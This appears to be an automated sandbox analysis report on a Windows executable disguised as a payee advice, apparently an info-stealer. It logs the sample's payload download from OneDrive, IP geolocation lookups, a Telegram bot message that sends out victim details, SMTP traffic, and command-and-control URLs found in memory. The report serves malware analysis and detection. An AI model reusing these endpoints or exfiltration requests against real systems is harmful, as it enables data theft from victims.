Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2020/11/2024%20/%2019:18:12%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 13.107.43.12 13.107.43.12
Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 188.114.96.3:443

Source: global traffic

TCP traffic: 192.168.2.4:49756 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET /y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-7vR_btDJUwSahkUS2M93xLAAR6xUxBf6NEExd3XZo57-YMEfTx94x1QxOp2a-8hq__KMNGGaakccwQ1sWJGhyaRsLbTLnjBQxVFJ7n1h5l7q4yyhOY91F-AdnfAux6c4nzAxrfVrEgoQU3Nn3oITjw/KwTCIrYgMbvy217.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: 4jjxew.dm.files.1drv.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-7vR_btDJUwSahkUS2M93xLAAR6xUxBf6NEExd3XZo57-YMEfTx94x1QxOp2a-8hq__KMNGGaakccwQ1sWJGhyaRsLbTLnjBQxVFJ7n1h5l7q4yyhOY91F-AdnfAux6c4nzAxrfVrEgoQU3Nn3oITjw/KwTCIrYgMbvy217.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: 4jjxew.dm.files.1drv.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2020/11/2024%20/%2019:18:12%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.onedrive.com
Source: global traffic	DNS traffic detected: DNS query: 4jjxew.dm.files.1drv.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.foodex.com.pk

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Nov 2024 09:25:49 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foodex.com.pk
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.foodex.com.pk
Source: PayeeAdvice_HK54912_R0038704_37504.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4jjxew.dm.files.1drv.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4jjxew.dm.files.1drv.com/D
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4jjxew.dm.files.1drv.com/oft
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4jjxew.dm.files.1drv.com/y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179903314.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/v1.0/shares/s
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20a
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B82000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B73000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A0E000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A38000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034B10000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D41000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AE8000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C3F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D1D000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C45000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C1A000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AA1000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AEB000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034B10000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D41000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AE8000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C3F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D1D000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C45000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C1A000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AA1000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AEB000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown	HTTPS traffic detected: 13.107.43.12:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_0040543E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040543E

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_0040336C EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,

0_2_0040336C

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00404C7B	0_2_00404C7B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_73401B63	0_2_73401B63
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00404C7B	2_2_00404C7B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011C19B	2_2_0011C19B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011D278	2_2_0011D278
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00115362	2_2_00115362
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011C468	2_2_0011C468
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011D548	2_2_0011D548
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011C738	2_2_0011C738
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011E988	2_2_0011E988
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_001169B0	2_2_001169B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011CA08	2_2_0011CA08
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011CCD8	2_2_0011CCD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00119E79	2_2_00119E79
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011CFAB	2_2_0011CFAB
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011E97B	2_2_0011E97B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011F960	2_2_0011F960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_001139F0	2_2_001139F0
